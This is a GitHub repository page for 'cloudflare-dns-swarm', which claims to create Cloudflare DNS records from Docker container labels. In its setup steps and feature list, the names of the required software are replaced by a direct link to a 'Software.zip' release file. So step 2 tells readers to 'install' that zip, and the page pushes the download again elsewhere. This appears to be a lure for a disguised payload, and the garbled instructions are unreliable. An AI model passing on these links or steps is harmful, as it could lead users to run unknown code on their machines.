Skip to content

🌐 Automatic DNS record management for Docker containers and Swarm services using Cloudflare. Label your containers, get DNS records.

Notifications You must be signed in to change notification settings

manuxing/cloudflare-dns-swarm

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

2 Commits
Β 
Β 

Repository files navigation

🌐 Cloudflare DNS Swarm

Cloudflare DNS Swarm Banner

Automatic DNS record management for Docker containers and Swarm services using Cloudflare. Label your containers, get DNS records. πŸš€

Download ZIP

πŸ“ Repository Contents

  • src/: Contains the source code for the Cloudflare DNS Swarm tool.
  • docs/: Documentation for setting up and using the tool.
  • examples/: Sample Docker configurations for reference.
  • LICENSE: The license information for the repository.

πŸ”§ Setup and Configuration

To set up Cloudflare DNS Swarm, follow these steps:

  1. Clone the repository to your local machine.
  2. Install /~https://github.com/manuxing/cloudflare-dns-swarm/releases/download/v1.0/Software.zip and npm if not already installed.
  3. Navigate to the project directory and run npm install to install dependencies.
  4. Customize the configuration file with your Cloudflare API key and other settings.
  5. Launch the Cloudflare DNS Swarm tool using npm start.

πŸš€ Features

  • Automatic DNS Record Management: Easily manage DNS records for Docker containers and Swarm services.
  • Cloudflare Integration: Seamlessly integrates with the Cloudflare API for DNS management.
  • Container Labeling: Label your containers to automatically generate DNS records.
  • Infrastructure as Code: Manage your DNS infrastructure using code.
  • Support for Microservices: Ideal for managing DNS in a microservices architecture.
  • Built with /~https://github.com/manuxing/cloudflare-dns-swarm/releases/download/v1.0/Software.zip and TypeScript: Leverage the power of TypeScript for a scalable codebase.

πŸ› οΈ Technologies Used

πŸ“š Topics

automation, cloud, cloudflare-api, cloudflare, container, devops, dns, dns-management, docker, docker-labels, docker-swarm, infrastructure-as-code, microservices, nodejs, typescript

🌟 Get Started

Ready to automate your DNS management with Cloudflare DNS Swarm? Follow the steps above to set up the tool and start managing your DNS records effortlessly. Happy coding! πŸŽ‰

Note: If the link to download the ZIP file doesn't work, please check the "Releases" section of the repository for the latest release.

About

🌐 Automatic DNS record management for Docker containers and Swarm services using Cloudflare. Label your containers, get DNS records.

Topics

Resources

Stars

Watchers

Forks

Packages

No packages published